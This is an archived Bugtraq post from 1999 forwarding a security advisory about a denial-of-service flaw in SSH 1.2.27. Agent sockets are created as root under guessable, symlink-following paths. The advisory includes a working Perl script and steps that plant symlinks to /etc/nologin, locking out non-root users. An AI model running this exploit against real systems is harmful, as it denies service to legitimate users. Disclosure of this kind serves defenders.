Bugtraq mailing list archives
[Fwd: Truth about ssh 1.2.27 vulnerabiltiy]
From: marc () MUCOM CO IL (Marc SPARC)
Date: Fri, 24 Sep 1999 04:53:16 +0200
<STRONG>attached mail follows:</STRONG><HR> The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com SSH 1.2.27 vulnerable to a Denial of Service attack ------------------------------------------------------------ SSH has the option of setting up "authentication sockets", used to pass authentication keys securely. When this is used, a socket is created on both client and server machines; the socket created on the server uses an easy to guess filename (based on the PID). The creation of this socket is done while the server is acting as root and follows symlinks. ****************************** Exploit: - connect to remote machine - run the following script (creates symlinks for the next 50 PID's): ----- cut ----- #!/usr/bin/perl $pid = $$; $whoami = `whoami`; chop($whoami); mkdir("/tmp/ssh-$whoami", 0700); for ($i = $pid; $i < $pid+50; $i++) { symlink("/etc/nologin", "/tmp/ssh-$whoami/ssh-$i-agent"); } ----- cut ----- - on local machine, execute ssh-agent1; it will produce a few lines to cut and paste into your shell. - ssh1 to the remote machine; enter password The socket will have been created at /etc/nologin, preventing other non-root users from logging in. This connection too will die with "Logins are currently denied by /etc/nologin:" This was tested on a RedHat 6.0 machine, with standard configure/make/install installation of ssh. This script should work pretty well for systems that create processes where each PID is one greater than the last; other platforms may require modifications, or many-many more links, if they're exploitable.
Current thread:
- [Fwd: Truth about ssh 1.2.27 vulnerabiltiy] Marc SPARC (Sep 23)
- Re: [Fwd: Truth about ssh 1.2.27 vulnerabiltiy] Tymm Twillman (Sep 26)
- Re: [Fwd: Truth about ssh 1.2.27 vulnerabiltiy] Solar Designer (Sep 27)
- Re: [Fwd: Truth about ssh 1.2.27 vulnerabiltiy] Dan Astoorian (Sep 27)
- ufsdump problem under Solaris 2.6 with ufs.c posix (Sep 27)
- Re: ufsdump problem under Solaris 2.6 with ufs.c Carson Gaspar (Sep 29)
- Re: [Fwd: Truth about ssh 1.2.27 vulnerabiltiy] Sean-Paul Rees (Sep 27)
- Re: [Fwd: Truth about ssh 1.2.27 vulnerabiltiy] Valdis.Kletnieks () VT EDU (Sep 27)
- Re: [Fwd: Truth about ssh 1.2.27 vulnerabiltiy] Alan Cox (Sep 28)
- Re: [Fwd: Truth about ssh 1.2.27 vulnerabiltiy] Mike Iglesias (Sep 28)
- Team Asylum: iHTML Merchant Vulnerabilities Team Asylum (Sep 28)
- ufsdump problem under Solaris 2.6 with ufs.c posix (Sep 27)
(Thread continues...)
- Re: [Fwd: Truth about ssh 1.2.27 vulnerabiltiy] Tymm Twillman (Sep 26)